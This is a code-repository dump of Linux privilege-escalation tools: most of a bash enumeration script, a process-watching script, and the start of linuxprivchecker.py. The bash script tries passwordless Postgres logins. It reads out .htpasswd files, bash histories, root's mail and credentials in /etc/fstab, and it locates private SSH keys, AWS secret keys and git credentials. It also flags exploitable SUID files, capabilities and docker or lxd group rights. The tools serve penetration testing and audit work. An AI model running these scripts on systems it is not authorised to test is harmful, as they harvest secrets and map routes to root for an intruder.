| echo -e "\n" 737 | fi 738 | 739 | #checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this 740 | postcon1=`psql -U postgres template0 -c 'select version()' 2>/dev/null | grep version` 741 | if [ "$postcon1" ]; then 742 | echo -e "\e[00;33m[+] We can connect to Postgres DB 'template0' as user 'postgres' with no password!:\e[00m\n$postcon1" 743 | echo -e "\n" 744 | fi 745 | 746 | postcon11=`psql -U postgres template1 -c 'select version()' 2>/dev/null | grep version` 747 | if [ "$postcon11" ]; then 748 | echo -e "\e[00;33m[+] We can connect to Postgres DB 'template1' as user 'postgres' with no password!:\e[00m\n$postcon11" 749 | echo -e "\n" 750 | fi 751 | 752 | postcon2=`psql -U pgsql template0 -c 'select version()' 2>/dev/null | grep version` 753 | if [ "$postcon2" ]; then 754 | echo -e "\e[00;33m[+] We can connect to Postgres DB 'template0' as user 'psql' with no password!:\e[00m\n$postcon2" 755 | echo -e "\n" 756 | fi 757 | 758 | postcon22=`psql -U pgsql template1 -c 'select version()' 2>/dev/null | grep version` 759 | if [ "$postcon22" ]; then 760 | echo -e "\e[00;33m[+] We can connect to Postgres DB 'template1' as user 'psql' with no password!:\e[00m\n$postcon22" 761 | echo -e "\n" 762 | fi 763 | 764 | #apache details - if installed 765 | apachever=`apache2 -v 2>/dev/null; httpd -v 2>/dev/null` 766 | if [ "$apachever" ]; then 767 | echo -e "\e[00;31m[-] Apache version:\e[00m\n$apachever" 768 | echo -e "\n" 769 | fi 770 | 771 | #what account is apache running under 772 | apacheusr=`grep -i 'user\|group' /etc/apache2/envvars 2>/dev/null |awk '{sub(/.*\export /,"")}1' 2>/dev/null` 773 | if [ "$apacheusr" ]; then 774 | echo -e "\e[00;31m[-] Apache user configuration:\e[00m\n$apacheusr" 775 | echo -e "\n" 776 | fi 777 | 778 | if [ "$export" ] && [ "$apacheusr" ]; then 779 | mkdir --parents $format/etc-export/apache2/ 2>/dev/null 780 | cp /etc/apache2/envvars $format/etc-export/apache2/envvars 2>/dev/null 781 | fi 782 | 783 | #installed apache modules 784 | apachemodules=`apache2ctl -M 2>/dev/null; httpd -M 2>/dev/null` 785 | if [ "$apachemodules" ]; then 786 | echo -e "\e[00;31m[-] Installed Apache modules:\e[00m\n$apachemodules" 787 | echo -e "\n" 788 | fi 789 | 790 | #htpasswd check 791 | htpasswd=`find / -name .htpasswd -print -exec cat {} \; 2>/dev/null` 792 | if [ "$htpasswd" ]; then 793 | echo -e "\e[00;33m[-] htpasswd found - could contain passwords:\e[00m\n$htpasswd" 794 | echo -e "\n" 795 | fi 796 | 797 | #anything in the default http home dirs (a thorough only check as output can be large) 798 | if [ "$thorough" = "1" ]; then 799 | apachehomedirs=`ls -alhR /var/www/ 2>/dev/null; ls -alhR /srv/www/htdocs/ 2>/dev/null; ls -alhR /usr/local/www/apache2/data/ 2>/dev/null; ls -alhR /opt/lampp/htdocs/ 2>/dev/null` 800 | if [ "$apachehomedirs" ]; then 801 | echo -e "\e[00;31m[-] www home dir contents:\e[00m\n$apachehomedirs" 802 | echo -e "\n" 803 | fi 804 | fi 805 | 806 | } 807 | 808 | interesting_files() 809 | { 810 | echo -e "\e[00;33m### INTERESTING FILES ####################################\e[00m" 811 | 812 | #checks to see if various files are installed 813 | echo -e "\e[00;31m[-] Useful file locations:\e[00m" ; which nc 2>/dev/null ; which netcat 2>/dev/null ; which wget 2>/dev/null ; which nmap 2>/dev/null ; which gcc 2>/dev/null; which curl 2>/dev/null 814 | echo -e "\n" 815 | 816 | #limited search for installed compilers 817 | compiler=`dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null` 818 | if [ "$compiler" ]; then 819 | echo -e "\e[00;31m[-] Installed compilers:\e[00m\n$compiler" 820 | echo -e "\n" 821 | fi 822 | 823 | #manual check - lists out sensitive files, can we read/modify etc. 824 | echo -e "\e[00;31m[-] Can we read/write sensitive files:\e[00m" ; ls -la /etc/passwd 2>/dev/null ; ls -la /etc/group 2>/dev/null ; ls -la /etc/profile 2>/dev/null; ls -la /etc/shadow 2>/dev/null ; ls -la /etc/master.passwd 2>/dev/null 825 | echo -e "\n" 826 | 827 | #search for suid files 828 | findsuid=`find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;` 829 | if [ "$findsuid" ]; then 830 | echo -e "\e[00;31m[-] SUID files:\e[00m\n$findsuid" 831 | echo -e "\n" 832 | fi 833 | 834 | if [ "$export" ] && [ "$findsuid" ]; then 835 | mkdir $format/suid-files/ 2>/dev/null 836 | for i in $findsuid; do cp $i $format/suid-files/; done 2>/dev/null 837 | fi 838 | 839 | #list of 'interesting' suid files - feel free to make additions 840 | intsuid=`find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null | grep -w $binarylist 2>/dev/null` 841 | if [ "$intsuid" ]; then 842 | echo -e "\e[00;33m[+] Possibly interesting SUID files:\e[00m\n$intsuid" 843 | echo -e "\n" 844 | fi 845 | 846 | #lists word-writable suid files 847 | wwsuid=`find / -perm -4002 -type f -exec ls -la {} 2>/dev/null \;` 848 | if [ "$wwsuid" ]; then 849 | echo -e "\e[00;33m[+] World-writable SUID files:\e[00m\n$wwsuid" 850 | echo -e "\n" 851 | fi 852 | 853 | #lists world-writable suid files owned by root 854 | wwsuidrt=`find / -uid 0 -perm -4002 -type f -exec ls -la {} 2>/dev/null \;` 855 | if [ "$wwsuidrt" ]; then 856 | echo -e "\e[00;33m[+] World-writable SUID files owned by root:\e[00m\n$wwsuidrt" 857 | echo -e "\n" 858 | fi 859 | 860 | #search for sgid files 861 | findsgid=`find / -perm -2000 -type f -exec ls -la {} 2>/dev/null \;` 862 | if [ "$findsgid" ]; then 863 | echo -e "\e[00;31m[-] SGID files:\e[00m\n$findsgid" 864 | echo -e "\n" 865 | fi 866 | 867 | if [ "$export" ] && [ "$findsgid" ]; then 868 | mkdir $format/sgid-files/ 2>/dev/null 869 | for i in $findsgid; do cp $i $format/sgid-files/; done 2>/dev/null 870 | fi 871 | 872 | #list of 'interesting' sgid files 873 | intsgid=`find / -perm -2000 -type f -exec ls -la {} \; 2>/dev/null | grep -w $binarylist 2>/dev/null` 874 | if [ "$intsgid" ]; then 875 | echo -e "\e[00;33m[+] Possibly interesting SGID files:\e[00m\n$intsgid" 876 | echo -e "\n" 877 | fi 878 | 879 | #lists world-writable sgid files 880 | wwsgid=`find / -perm -2002 -type f -exec ls -la {} 2>/dev/null \;` 881 | if [ "$wwsgid" ]; then 882 | echo -e "\e[00;33m[+] World-writable SGID files:\e[00m\n$wwsgid" 883 | echo -e "\n" 884 | fi 885 | 886 | #lists world-writable sgid files owned by root 887 | wwsgidrt=`find / -uid 0 -perm -2002 -type f -exec ls -la {} 2>/dev/null \;` 888 | if [ "$wwsgidrt" ]; then 889 | echo -e "\e[00;33m[+] World-writable SGID files owned by root:\e[00m\n$wwsgidrt" 890 | echo -e "\n" 891 | fi 892 | 893 | #list all files with POSIX capabilities set along with there capabilities 894 | fileswithcaps=`getcap -r / 2>/dev/null || /sbin/getcap -r / 2>/dev/null` 895 | if [ "$fileswithcaps" ]; then 896 | echo -e "\e[00;31m[+] Files with POSIX capabilities set:\e[00m\n$fileswithcaps" 897 | echo -e "\n" 898 | fi 899 | 900 | if [ "$export" ] && [ "$fileswithcaps" ]; then 901 | mkdir $format/files_with_capabilities/ 2>/dev/null 902 | for i in $fileswithcaps; do cp $i $format/files_with_capabilities/; done 2>/dev/null 903 | fi 904 | 905 | #searches /etc/security/capability.conf for users associated capapilies 906 | userswithcaps=`grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null` 907 | if [ "$userswithcaps" ]; then 908 | echo -e "\e[00;33m[+] Users with specific POSIX capabilities:\e[00m\n$userswithcaps" 909 | echo -e "\n" 910 | fi 911 | 912 | if [ "$userswithcaps" ] ; then 913 | #matches the capabilities found associated with users with the current user 914 | matchedcaps=`echo -e "$userswithcaps" | grep \`whoami\` | awk '{print $1}' 2>/dev/null` 915 | if [ "$matchedcaps" ]; then 916 | echo -e "\e[00;33m[+] Capabilities associated with the current user:\e[00m\n$matchedcaps" 917 | echo -e "\n" 918 | #matches the files with capapbilities with capabilities associated with the current user 919 | matchedfiles=`echo -e "$matchedcaps" | while read -r cap ; do echo -e "$fileswithcaps" | grep "$cap" ; done 2>/dev/null` 920 | if [ "$matchedfiles" ]; then 921 | echo -e "\e[00;33m[+] Files with the same capabilities associated with the current user (You may want to try abusing those capabilties):\e[00m\n$matchedfiles" 922 | echo -e "\n" 923 | #lists the permissions of the files having the same capabilies associated with the current user 924 | matchedfilesperms=`echo -e "$matchedfiles" | awk '{print $1}' | while read -r f; do ls -la $f ;done 2>/dev/null` 925 | echo -e "\e[00;33m[+] Permissions of files with the same capabilities associated with the current user:\e[00m\n$matchedfilesperms" 926 | echo -e "\n" 927 | if [ "$matchedfilesperms" ]; then 928 | #checks if any of the files with same capabilities associated with the current user is writable 929 | writablematchedfiles=`echo -e "$matchedfiles" | awk '{print $1}' | while read -r f; do find $f -writable -exec ls -la {} + ;done 2>/dev/null` 930 | if [ "$writablematchedfiles" ]; then 931 | echo -e "\e[00;33m[+] User/Group writable files with the same capabilities associated with the current user:\e[00m\n$writablematchedfiles" 932 | echo -e "\n" 933 | fi 934 | fi 935 | fi 936 | fi 937 | fi 938 | 939 | #look for private keys - thanks djhohnstein 940 | if [ "$thorough" = "1" ]; then 941 | privatekeyfiles=`grep -rl "PRIVATE KEY-----" /home 2>/dev/null` 942 | if [ "$privatekeyfiles" ]; then 943 | echo -e "\e[00;33m[+] Private SSH keys found!:\e[00m\n$privatekeyfiles" 944 | echo -e "\n" 945 | fi 946 | fi 947 | 948 | #look for AWS keys - thanks djhohnstein 949 | if [ "$thorough" = "1" ]; then 950 | awskeyfiles=`grep -rli "aws_secret_access_key" /home 2>/dev/null` 951 | if [ "$awskeyfiles" ]; then 952 | echo -e "\e[00;33m[+] AWS secret keys found!:\e[00m\n$awskeyfiles" 953 | echo -e "\n" 954 | fi 955 | fi 956 | 957 | #look for git credential files - thanks djhohnstein 958 | if [ "$thorough" = "1" ]; then 959 | gitcredfiles=`find / -name ".git-credentials" 2>/dev/null` 960 | if [ "$gitcredfiles" ]; then 961 | echo -e "\e[00;33m[+] Git credentials saved on the machine!:\e[00m\n$gitcredfiles" 962 | echo -e "\n" 963 | fi 964 | fi 965 | 966 | #list all world-writable files excluding /proc and /sys 967 | if [ "$thorough" = "1" ]; then 968 | wwfiles=`find / ! -path "*/proc/*" ! -path "/sys/*" -perm -2 -type f -exec ls -la {} 2>/dev/null \;` 969 | if [ "$wwfiles" ]; then 970 | echo -e "\e[00;31m[-] World-writable files (excluding /proc and /sys):\e[00m\n$wwfiles" 971 | echo -e "\n" 972 | fi 973 | fi 974 | 975 | if [ "$thorough" = "1" ]; then 976 | if [ "$export" ] && [ "$wwfiles" ]; then 977 | mkdir $format/ww-files/ 2>/dev/null 978 | for i in $wwfiles; do cp --parents $i $format/ww-files/; done 2>/dev/null 979 | fi 980 | fi 981 | 982 | #are any .plan files accessible in /home (could contain useful information) 983 | usrplan=`find /home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` 984 | if [ "$usrplan" ]; then 985 | echo -e "\e[00;31m[-] Plan file permissions and contents:\e[00m\n$usrplan" 986 | echo -e "\n" 987 | fi 988 | 989 | if [ "$export" ] && [ "$usrplan" ]; then 990 | mkdir $format/plan_files/ 2>/dev/null 991 | for i in $usrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null 992 | fi 993 | 994 | bsdusrplan=`find /usr/home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` 995 | if [ "$bsdusrplan" ]; then 996 | echo -e "\e[00;31m[-] Plan file permissions and contents:\e[00m\n$bsdusrplan" 997 | echo -e "\n" 998 | fi 999 | 1000 | if [ "$export" ] && [ "$bsdusrplan" ]; then 1001 | mkdir $format/plan_files/ 2>/dev/null 1002 | for i in $bsdusrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null 1003 | fi 1004 | 1005 | #are there any .rhosts files accessible - these may allow us to login as another user etc. 1006 | rhostsusr=`find /home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` 1007 | if [ "$rhostsusr" ]; then 1008 | echo -e "\e[00;33m[+] rhost config file(s) and file contents:\e[00m\n$rhostsusr" 1009 | echo -e "\n" 1010 | fi 1011 | 1012 | if [ "$export" ] && [ "$rhostsusr" ]; then 1013 | mkdir $format/rhosts/ 2>/dev/null 1014 | for i in $rhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null 1015 | fi 1016 | 1017 | bsdrhostsusr=`find /usr/home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` 1018 | if [ "$bsdrhostsusr" ]; then 1019 | echo -e "\e[00;33m[+] rhost config file(s) and file contents:\e[00m\n$bsdrhostsusr" 1020 | echo -e "\n" 1021 | fi 1022 | 1023 | if [ "$export" ] && [ "$bsdrhostsusr" ]; then 1024 | mkdir $format/rhosts 2>/dev/null 1025 | for i in $bsdrhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null 1026 | fi 1027 | 1028 | rhostssys=`find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` 1029 | if [ "$rhostssys" ]; then 1030 | echo -e "\e[00;33m[+] Hosts.equiv file and contents: \e[00m\n$rhostssys" 1031 | echo -e "\n" 1032 | fi 1033 | 1034 | if [ "$export" ] && [ "$rhostssys" ]; then 1035 | mkdir $format/rhosts/ 2>/dev/null 1036 | for i in $rhostssys; do cp --parents $i $format/rhosts/; done 2>/dev/null 1037 | fi 1038 | 1039 | #list nfs shares/permisisons etc. 1040 | nfsexports=`ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null` 1041 | if [ "$nfsexports" ]; then 1042 | echo -e "\e[00;31m[-] NFS config details: \e[00m\n$nfsexports" 1043 | echo -e "\n" 1044 | fi 1045 | 1046 | if [ "$export" ] && [ "$nfsexports" ]; then 1047 | mkdir $format/etc-export/ 2>/dev/null 1048 | cp /etc/exports $format/etc-export/exports 2>/dev/null 1049 | fi 1050 | 1051 | if [ "$thorough" = "1" ]; then 1052 | #phackt 1053 | #displaying /etc/fstab 1054 | fstab=`cat /etc/fstab 2>/dev/null` 1055 | if [ "$fstab" ]; then 1056 | echo -e "\e[00;31m[-] NFS displaying partitions and filesystems - you need to check if exotic filesystems\e[00m" 1057 | echo -e "$fstab" 1058 | echo -e "\n" 1059 | fi 1060 | fi 1061 | 1062 | #looking for credentials in /etc/fstab 1063 | fstab=`grep username /etc/fstab 2>/dev/null |awk '{sub(/.*\username=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo username: 2>/dev/null; grep password /etc/fstab 2>/dev/null |awk '{sub(/.*\password=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo password: 2>/dev/null; grep domain /etc/fstab 2>/dev/null |awk '{sub(/.*\domain=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo domain: 2>/dev/null` 1064 | if [ "$fstab" ]; then 1065 | echo -e "\e[00;33m[+] Looks like there are credentials in /etc/fstab!\e[00m\n$fstab" 1066 | echo -e "\n" 1067 | fi 1068 | 1069 | if [ "$export" ] && [ "$fstab" ]; then 1070 | mkdir $format/etc-exports/ 2>/dev/null 1071 | cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null 1072 | fi 1073 | 1074 | fstabcred=`grep cred /etc/fstab 2>/dev/null |awk '{sub(/.*\credentials=/,"");sub(/\,.*/,"")}1' 2>/dev/null | xargs -I{} sh -c 'ls -la {}; cat {}' 2>/dev/null` 1075 | if [ "$fstabcred" ]; then 1076 | echo -e "\e[00;33m[+] /etc/fstab contains a credentials file!\e[00m\n$fstabcred" 1077 | echo -e "\n" 1078 | fi 1079 | 1080 | if [ "$export" ] && [ "$fstabcred" ]; then 1081 | mkdir $format/etc-exports/ 2>/dev/null 1082 | cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null 1083 | fi 1084 | 1085 | #use supplied keyword and cat *.conf files for potential matches - output will show line number within relevant file path where a match has been located 1086 | if [ "$keyword" = "" ]; then 1087 | echo -e "[-] Can't search *.conf files as no keyword was entered\n" 1088 | else 1089 | confkey=`find / -maxdepth 4 -name *.conf -type f -exec grep -Hn $keyword {} \; 2>/dev/null` 1090 | if [ "$confkey" ]; then 1091 | echo -e "\e[00;31m[-] Find keyword ($keyword) in .conf files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$confkey" 1092 | echo -e "\n" 1093 | else 1094 | echo -e "\e[00;31m[-] Find keyword ($keyword) in .conf files (recursive 4 levels):\e[00m" 1095 | echo -e "'$keyword' not found in any .conf files" 1096 | echo -e "\n" 1097 | fi 1098 | fi 1099 | 1100 | if [ "$keyword" = "" ]; then 1101 | : 1102 | else 1103 | if [ "$export" ] && [ "$confkey" ]; then 1104 | confkeyfile=`find / -maxdepth 4 -name *.conf -type f -exec grep -lHn $keyword {} \; 2>/dev/null` 1105 | mkdir --parents $format/keyword_file_matches/config_files/ 2>/dev/null 1106 | for i in $confkeyfile; do cp --parents $i $format/keyword_file_matches/config_files/ ; done 2>/dev/null 1107 | fi 1108 | fi 1109 | 1110 | #use supplied keyword and cat *.php files for potential matches - output will show line number within relevant file path where a match has been located 1111 | if [ "$keyword" = "" ]; then 1112 | echo -e "[-] Can't search *.php files as no keyword was entered\n" 1113 | else 1114 | phpkey=`find / -maxdepth 10 -name *.php -type f -exec grep -Hn $keyword {} \; 2>/dev/null` 1115 | if [ "$phpkey" ]; then 1116 | echo -e "\e[00;31m[-] Find keyword ($keyword) in .php files (recursive 10 levels - output format filepath:identified line number where keyword appears):\e[00m\n$phpkey" 1117 | echo -e "\n" 1118 | else 1119 | echo -e "\e[00;31m[-] Find keyword ($keyword) in .php files (recursive 10 levels):\e[00m" 1120 | echo -e "'$keyword' not found in any .php files" 1121 | echo -e "\n" 1122 | fi 1123 | fi 1124 | 1125 | if [ "$keyword" = "" ]; then 1126 | : 1127 | else 1128 | if [ "$export" ] && [ "$phpkey" ]; then 1129 | phpkeyfile=`find / -maxdepth 10 -name *.php -type f -exec grep -lHn $keyword {} \; 2>/dev/null` 1130 | mkdir --parents $format/keyword_file_matches/php_files/ 2>/dev/null 1131 | for i in $phpkeyfile; do cp --parents $i $format/keyword_file_matches/php_files/ ; done 2>/dev/null 1132 | fi 1133 | fi 1134 | 1135 | #use supplied keyword and cat *.log files for potential matches - output will show line number within relevant file path where a match has been located 1136 | if [ "$keyword" = "" ];then 1137 | echo -e "[-] Can't search *.log files as no keyword was entered\n" 1138 | else 1139 | logkey=`find / -maxdepth 4 -name *.log -type f -exec grep -Hn $keyword {} \; 2>/dev/null` 1140 | if [ "$logkey" ]; then 1141 | echo -e "\e[00;31m[-] Find keyword ($keyword) in .log files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$logkey" 1142 | echo -e "\n" 1143 | else 1144 | echo -e "\e[00;31m[-] Find keyword ($keyword) in .log files (recursive 4 levels):\e[00m" 1145 | echo -e "'$keyword' not found in any .log files" 1146 | echo -e "\n" 1147 | fi 1148 | fi 1149 | 1150 | if [ "$keyword" = "" ];then 1151 | : 1152 | else 1153 | if [ "$export" ] && [ "$logkey" ]; then 1154 | logkeyfile=`find / -maxdepth 4 -name *.log -type f -exec grep -lHn $keyword {} \; 2>/dev/null` 1155 | mkdir --parents $format/keyword_file_matches/log_files/ 2>/dev/null 1156 | for i in $logkeyfile; do cp --parents $i $format/keyword_file_matches/log_files/ ; done 2>/dev/null 1157 | fi 1158 | fi 1159 | 1160 | #use supplied keyword and cat *.ini files for potential matches - output will show line number within relevant file path where a match has been located 1161 | if [ "$keyword" = "" ];then 1162 | echo -e "[-] Can't search *.ini files as no keyword was entered\n" 1163 | else 1164 | inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -Hn $keyword {} \; 2>/dev/null` 1165 | if [ "$inikey" ]; then 1166 | echo -e "\e[00;31m[-] Find keyword ($keyword) in .ini files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$inikey" 1167 | echo -e "\n" 1168 | else 1169 | echo -e "\e[00;31m[-] Find keyword ($keyword) in .ini files (recursive 4 levels):\e[00m" 1170 | echo -e "'$keyword' not found in any .ini files" 1171 | echo -e "\n" 1172 | fi 1173 | fi 1174 | 1175 | if [ "$keyword" = "" ];then 1176 | : 1177 | else 1178 | if [ "$export" ] && [ "$inikey" ]; then 1179 | inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -lHn $keyword {} \; 2>/dev/null` 1180 | mkdir --parents $format/keyword_file_matches/ini_files/ 2>/dev/null 1181 | for i in $inikey; do cp --parents $i $format/keyword_file_matches/ini_files/ ; done 2>/dev/null 1182 | fi 1183 | fi 1184 | 1185 | #quick extract of .conf files from /etc - only 1 level 1186 | allconf=`find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} \; 2>/dev/null` 1187 | if [ "$allconf" ]; then 1188 | echo -e "\e[00;31m[-] All *.conf files in /etc (recursive 1 level):\e[00m\n$allconf" 1189 | echo -e "\n" 1190 | fi 1191 | 1192 | if [ "$export" ] && [ "$allconf" ]; then 1193 | mkdir $format/conf-files/ 2>/dev/null 1194 | for i in $allconf; do cp --parents $i $format/conf-files/; done 2>/dev/null 1195 | fi 1196 | 1197 | #extract any user history files that are accessible 1198 | usrhist=`ls -la ~/.*_history 2>/dev/null` 1199 | if [ "$usrhist" ]; then 1200 | echo -e "\e[00;31m[-] Current user's history files:\e[00m\n$usrhist" 1201 | echo -e "\n" 1202 | fi 1203 | 1204 | if [ "$export" ] && [ "$usrhist" ]; then 1205 | mkdir $format/history_files/ 2>/dev/null 1206 | for i in $usrhist; do cp --parents $i $format/history_files/; done 2>/dev/null 1207 | fi 1208 | 1209 | #can we read roots *_history files - could be passwords stored etc. 1210 | roothist=`ls -la /root/.*_history 2>/dev/null` 1211 | if [ "$roothist" ]; then 1212 | echo -e "\e[00;33m[+] Root's history files are accessible!\e[00m\n$roothist" 1213 | echo -e "\n" 1214 | fi 1215 | 1216 | if [ "$export" ] && [ "$roothist" ]; then 1217 | mkdir $format/history_files/ 2>/dev/null 1218 | cp $roothist $format/history_files/ 2>/dev/null 1219 | fi 1220 | 1221 | #all accessible .bash_history files in /home 1222 | checkbashhist=`find /home -name .bash_history -print -exec cat {} 2>/dev/null \;` 1223 | if [ "$checkbashhist" ]; then 1224 | echo -e "\e[00;31m[-] Location and contents (if accessible) of .bash_history file(s):\e[00m\n$checkbashhist" 1225 | echo -e "\n" 1226 | fi 1227 | 1228 | #is there any mail accessible 1229 | readmail=`ls -la /var/mail 2>/dev/null` 1230 | if [ "$readmail" ]; then 1231 | echo -e "\e[00;31m[-] Any interesting mail in /var/mail:\e[00m\n$readmail" 1232 | echo -e "\n" 1233 | fi 1234 | 1235 | #can we read roots mail 1236 | readmailroot=`head /var/mail/root 2>/dev/null` 1237 | if [ "$readmailroot" ]; then 1238 | echo -e "\e[00;33m[+] We can read /var/mail/root! (snippet below)\e[00m\n$readmailroot" 1239 | echo -e "\n" 1240 | fi 1241 | 1242 | if [ "$export" ] && [ "$readmailroot" ]; then 1243 | mkdir $format/mail-from-root/ 2>/dev/null 1244 | cp $readmailroot $format/mail-from-root/ 2>/dev/null 1245 | fi 1246 | } 1247 | 1248 | docker_checks() 1249 | { 1250 | 1251 | #specific checks - check to see if we're in a docker container 1252 | dockercontainer=` grep -i docker /proc/self/cgroup 2>/dev/null; find / -name "*dockerenv*" -exec ls -la {} \; 2>/dev/null` 1253 | if [ "$dockercontainer" ]; then 1254 | echo -e "\e[00;33m[+] Looks like we're in a Docker container:\e[00m\n$dockercontainer" 1255 | echo -e "\n" 1256 | fi 1257 | 1258 | #specific checks - check to see if we're a docker host 1259 | dockerhost=`docker --version 2>/dev/null; docker ps -a 2>/dev/null` 1260 | if [ "$dockerhost" ]; then 1261 | echo -e "\e[00;33m[+] Looks like we're hosting Docker:\e[00m\n$dockerhost" 1262 | echo -e "\n" 1263 | fi 1264 | 1265 | #specific checks - are we a member of the docker group 1266 | dockergrp=`id | grep -i docker 2>/dev/null` 1267 | if [ "$dockergrp" ]; then 1268 | echo -e "\e[00;33m[+] We're a member of the (docker) group - could possibly misuse these rights!\e[00m\n$dockergrp" 1269 | echo -e "\n" 1270 | fi 1271 | 1272 | #specific checks - are there any docker files present 1273 | dockerfiles=`find / -name Dockerfile -exec ls -l {} 2>/dev/null \;` 1274 | if [ "$dockerfiles" ]; then 1275 | echo -e "\e[00;31m[-] Anything juicy in the Dockerfile:\e[00m\n$dockerfiles" 1276 | echo -e "\n" 1277 | fi 1278 | 1279 | #specific checks - are there any docker files present 1280 | dockeryml=`find / -name docker-compose.yml -exec ls -l {} 2>/dev/null \;` 1281 | if [ "$dockeryml" ]; then 1282 | echo -e "\e[00;31m[-] Anything juicy in docker-compose.yml:\e[00m\n$dockeryml" 1283 | echo -e "\n" 1284 | fi 1285 | } 1286 | 1287 | lxc_container_checks() 1288 | { 1289 | 1290 | #specific checks - are we in an lxd/lxc container 1291 | lxccontainer=`grep -qa container=lxc /proc/1/environ 2>/dev/null` 1292 | if [ "$lxccontainer" ]; then 1293 | echo -e "\e[00;33m[+] Looks like we're in a lxc container:\e[00m\n$lxccontainer" 1294 | echo -e "\n" 1295 | fi 1296 | 1297 | #specific checks - are we a member of the lxd group 1298 | lxdgroup=`id | grep -i lxd 2>/dev/null` 1299 | if [ "$lxdgroup" ]; then 1300 | echo -e "\e[00;33m[+] We're a member of the (lxd) group - could possibly misuse these rights!\e[00m\n$lxdgroup" 1301 | echo -e "\n" 1302 | fi 1303 | } 1304 | 1305 | footer() 1306 | { 1307 | echo -e "\e[00;33m### SCAN COMPLETE ####################################\e[00m" 1308 | } 1309 | 1310 | call_each() 1311 | { 1312 | header 1313 | debug_info 1314 | system_info 1315 | user_info 1316 | environmental_info 1317 | job_info 1318 | networking_info 1319 | services_info 1320 | software_configs 1321 | interesting_files 1322 | docker_checks 1323 | lxc_container_checks 1324 | footer 1325 | } 1326 | 1327 | while getopts "h:k:r:e:st" option; do 1328 | case "${option}" in 1329 | k) keyword=${OPTARG};; 1330 | r) report=${OPTARG}"-"`date +"%d-%m-%y"`;; 1331 | e) export=${OPTARG};; 1332 | s) sudopass=1;; 1333 | t) thorough=1;; 1334 | h) usage; exit;; 1335 | *) usage; exit;; 1336 | esac 1337 | done 1338 | 1339 | call_each | tee -a $report 2> /dev/null 1340 | #EndOfScript 1341 | -------------------------------------------------------------------------------- /PrivEsc/Linux/ProcMon.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Loop by line 4 | IFS=$'\n' 5 | 6 | old_process=$(ps aux --forest | grep -v "ps aux --forest" | grep -v "sleep 1" | grep -v $0) 7 | 8 | while true; do 9 | new_process=$(ps aux --forest | grep -v "ps aux --forest" | grep -v "sleep 1" | grep -v $0) 10 | diff <(echo "$old_process") <(echo "$new_process") | grep [\<\>] 11 | sleep 1 12 | old_process=$new_process 13 | done 14 | -------------------------------------------------------------------------------- /PrivEsc/Linux/linuxprivchecker.py: -------------------------------------------------------------------------------- 1 | #!/usr/env python 2 | 3 | ############################################################################################################### 4 | ## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script 5 | ## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift 6 | ##------------------------------------------------------------------------------------------------------------- 7 | ## [Details]: 8 | ## This script is intended to be executed locally on a Linux box to enumerate basic system info and 9 | ## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text 10 | ## passwords and applicable exploits. 11 | ##------------------------------------------------------------------------------------------------------------- 12 | ## [Warning]: 13 | ## This script comes as-is with no promise of functionality or accuracy. I have no plans to maintain updates, 14 | ## I did not write it to be efficient and in some cases you may find the functions may not produce the desired 15 | ## results. For example, the function that links packages to running processes is based on keywords and will 16 | ## not always be accurate. Also, the exploit list included in this function will need to be updated over time. 17 | ## Feel free to change or improve it any way you see fit. 18 | ##------------------------------------------------------------------------------------------------------------- 19 | ## [Modification, Distribution, and Attribution]: 20 | ## You are free to modify and/or distribute this script as you wish. I only ask that you maintain original 21 | ## author attribution and not attempt to sell it or incorporate it into any commercial offering (as if it's 22 | ## worth anything anyway :) 23 | ############################################################################################################### 24 | 25 | # conditional import for older versions of python not compatible with subprocess 26 | try: 27 | import subprocess as sub 28 | compatmode = 0 # newer version of python, no need for compatibility mode 29 | except ImportError: 30 | import os # older version of python, need to use os instead 31 | compatmode = 1 32 | 33 | # title / formatting 34 | bigline = "=================================================================================================" 35 | smlline = "-------------------------------------------------------------------------------------------------" 36 | 37 | print bigline 38 | print "LINUX PRIVILEGE ESCALATION CHECKER" 39 | print bigline 40 | print 41 | 42 | # loop through dictionary, execute the commands, store the results, return updated dict 43 | def execCmd(cmdDict): 44 | for item in cmdDict: 45 | cmd = cmdDict[item]["cmd"] 46 | if compatmode == 0: # newer version of python, use preferred subprocess 47 | out, error = sub.Popen([cmd], stdout=sub.PIPE, stderr=sub.PIPE, shell=True).communicate() 48 | results = out.split('\n') 49 | else: # older version of python, use os.popen 50 | echo_stdout = os.popen(cmd, 'r') 51 | results = echo_stdout.read().split('\n') 52 | cmdDict[item]["results"]=results 53 | return cmdDict 54 | 55 | # print results for each previously executed command, no return value 56 | def printResults(cmdDict): 57 | for item in cmdDict: 58 | msg = cmdDict[item]["msg"] 59 | results = cmdDict[item]["results"] 60 | print "[+] " + msg 61 | for result in results: 62 | if result.strip() != "": 63 | print " " + result.strip() 64 | print 65 | return 66 | 67 | 